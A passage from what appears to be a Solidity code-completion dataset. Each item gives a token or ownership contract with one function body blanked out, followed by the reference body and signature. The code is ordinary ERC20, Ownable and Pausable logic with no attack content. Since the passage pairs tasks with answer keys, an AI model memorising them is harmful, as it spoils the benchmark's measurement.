allowed[_owner][_spender]; } }
require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
19227
BaseRelayRecipient
_msgSender
contract BaseRelayRecipient { /* * Forwarder singleton we accept calls from */ address public trustedForwarder; function isTrustedForwarder(address forwarder) public view returns(bool) { return forwarder == trustedForwarder; } /** * return the sender of this call. * if the call came through our trusted forwarder, return the original sender. * otherwise, return `msg.sender`. * should be used in the contract anywhere instead of msg.sender */ function _msgSender() internal view returns (address payable ret) {<FILL_FUNCTION_BODY> } }
contract BaseRelayRecipient { /* * Forwarder singleton we accept calls from */ address public trustedForwarder; function isTrustedForwarder(address forwarder) public view returns(bool) { return forwarder == trustedForwarder; } <FILL_FUNCTION> }
if (msg.data.length >= 20 && isTrustedForwarder(msg.sender)) { // At this point we know that the sender is a trusted forwarder, // so we trust that the last bytes of msg.data are the verified sender address. // extract sender address from the end of msg.data assembly { ret := shr(96,calldataload(sub(calldatasize(),20))) } } else { return msg.sender; }
function _msgSender() internal view returns (address payable ret)
/** * return the sender of this call. * if the call came through our trusted forwarder, return the original sender. * otherwise, return `msg.sender`. * should be used in the contract anywhere instead of msg.sender */ function _msgSender() internal view returns (address payable ret)
53379
StandardToken
decreaseApproval
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {<FILL_FUNCTION_BODY> } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } <FILL_FUNCTION> }
uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true;
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool)
/** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool)
12712
SiberianHusky
_transfer
contract SiberianHusky is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Siberian Husky'; string private _symbol = 'SHUSKY'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function rescueFromContract() external onlyOwner { address payable _owner = _msgSender(); _owner.transfer(address(this).balance); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private {<FILL_FUNCTION_BODY> } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract SiberianHusky is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Siberian Husky'; string private _symbol = 'SHUSKY'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function rescueFromContract() external onlyOwner { address payable _owner = _msgSender(); _owner.transfer(address(this).balance); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } <FILL_FUNCTION> function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); }
function _transfer(address sender, address recipient, uint256 amount) private
function _transfer(address sender, address recipient, uint256 amount) private
27442
Ownable
acceptOwnership
contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNewOwner() { require(msg.sender != address(0)); require(msg.sender == newOwner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public onlyNewOwner {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNewOwner() { require(msg.sender != address(0)); require(msg.sender == newOwner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } <FILL_FUNCTION> }
emit OwnershipTransferred(owner, newOwner); owner = newOwner;
function acceptOwnership() public onlyNewOwner
function acceptOwnership() public onlyNewOwner
74344
Ownable
owner
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) {<FILL_FUNCTION_BODY> } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == msg.sender, "YouSwap: CALLER_IS_NOT_THE_OWNER"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "YouSwap: NEW_OWNER_IS_THE_ZERO_ADDRESS"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } <FILL_FUNCTION> /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == msg.sender, "YouSwap: CALLER_IS_NOT_THE_OWNER"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "YouSwap: NEW_OWNER_IS_THE_ZERO_ADDRESS"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
return _owner;
function owner() public view returns (address)
/** * @dev Returns the address of the current owner. */ function owner() public view returns (address)
56223
Ownable
_transferOwnership
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { if(msg.sender==_owner) return true; } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal {<FILL_FUNCTION_BODY> } }
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { if(msg.sender==_owner) return true; } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } <FILL_FUNCTION> }
require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner;
function _transferOwnership(address newOwner) internal
function _transferOwnership(address newOwner) internal
88465
DistributedEnergyCoinBase
balanceOf
contract DistributedEnergyCoinBase { uint256 _supply; mapping (address => uint256) _balances; event Transfer( address indexed from, address indexed to, uint256 value); function totalSupply() public view returns (uint256) { return _supply; } function balanceOf(address src) public view returns (uint256) {<FILL_FUNCTION_BODY> } function transfer(address dst, uint256 wad) public returns (bool) { require(_balances[msg.sender] >= wad); _balances[msg.sender] = sub(_balances[msg.sender], wad); _balances[dst] = add(_balances[dst], wad); emit Transfer(msg.sender, dst, wad); return true; } function add(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x + y; require(z >= x && z>=y); return z; } function sub(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x - y; require(x >= y && z <= x); return z; } }
contract DistributedEnergyCoinBase { uint256 _supply; mapping (address => uint256) _balances; event Transfer( address indexed from, address indexed to, uint256 value); function totalSupply() public view returns (uint256) { return _supply; } <FILL_FUNCTION> function transfer(address dst, uint256 wad) public returns (bool) { require(_balances[msg.sender] >= wad); _balances[msg.sender] = sub(_balances[msg.sender], wad); _balances[dst] = add(_balances[dst], wad); emit Transfer(msg.sender, dst, wad); return true; } function add(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x + y; require(z >= x && z>=y); return z; } function sub(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x - y; require(x >= y && z <= x); return z; } }
return _balances[src];
function balanceOf(address src) public view returns (uint256)
function balanceOf(address src) public view returns (uint256)
22536
Pausable
null
contract Pausable is PauserRole { event Paused(address indexed account); event Unpaused(address indexed account); bool private _paused; constructor() internal {<FILL_FUNCTION_BODY> } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns(bool) { return _paused; } // Modifier to make a function callable only when the contract is not paused. modifier whenNotPaused() { require(!_paused); _; } // Modifier to make a function callable only when the contract is paused. modifier whenPaused() { require(_paused); _; } // Called by a Pauser to pause, triggers stopped state. function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } // Called by a Pauser to unpause, returns to normal state. function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } }
contract Pausable is PauserRole { event Paused(address indexed account); event Unpaused(address indexed account); bool private _paused; <FILL_FUNCTION> /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns(bool) { return _paused; } // Modifier to make a function callable only when the contract is not paused. modifier whenNotPaused() { require(!_paused); _; } // Modifier to make a function callable only when the contract is paused. modifier whenPaused() { require(_paused); _; } // Called by a Pauser to pause, triggers stopped state. function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } // Called by a Pauser to unpause, returns to normal state. function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } }
_paused = false;
constructor() internal
constructor() internal
58267
Love
buy
contract Love is ERC20Interface { // ERC20 basic variables string public constant symbol = "LOVE"; string public constant name = "LoveToken"; uint8 public constant decimals = 0; uint256 public constant _totalSupply = (10 ** 10); mapping (address => uint) public balances; mapping (address => mapping (address => uint256)) public allowed; mapping (address => uint256) public tokenSaleAmount; uint256 public saleStartEpoch; uint256 public tokenSaleLeft = 7 * (10 ** 9); uint256 public tokenAirdropLeft = 3 * (10 ** 9); uint256 public constant tokenSaleLowerLimit = 10 finney; uint256 public constant tokenSaleUpperLimit = 1 ether; uint256 public constant tokenExchangeRate = (10 ** 8); // 100m LOVE for each ether uint256 public constant devReward = 18; // in percent address private constant saleDepositAddress = 0x6969696969696969696969696969696969696969; address private constant airdropDepositAddress = 0x7474747474747474747474747474747474747474; address public devAddress; address public ownerAddress; // constructor function Love(address _ownerAddress, address _devAddress, uint256 _saleStartEpoch) public { require(_ownerAddress != 0); require(_devAddress != 0); require(_saleStartEpoch > now); balances[saleDepositAddress] = tokenSaleLeft; balances[airdropDepositAddress] = tokenAirdropLeft; ownerAddress = _ownerAddress; devAddress = _devAddress; saleStartEpoch = _saleStartEpoch; } function sendAirdrop(address[] to, uint256[] value) public { require(msg.sender == ownerAddress); require(to.length == value.length); for(uint256 i = 0; i < to.length; i++){ if(tokenAirdropLeft > value[i]){ Transfer(airdropDepositAddress, to[i], value[i]); balances[to[i]] += value[i]; balances[airdropDepositAddress] -= value[i]; tokenAirdropLeft -= value[i]; } else{ Transfer(airdropDepositAddress, to[i], tokenAirdropLeft); balances[to[i]] += tokenAirdropLeft; balances[airdropDepositAddress] -= tokenAirdropLeft; tokenAirdropLeft = 0; break; } } } function buy() payable public {<FILL_FUNCTION_BODY> } // fallback function : send request to donate function () payable public { buy(); } // ERC20 FUNCTIONS //get total tokens function totalSupply() constant returns (uint supply){ return _totalSupply; } //get balance of user function balanceOf(address _owner) constant returns (uint balance){ return balances[_owner]; } //transfer tokens 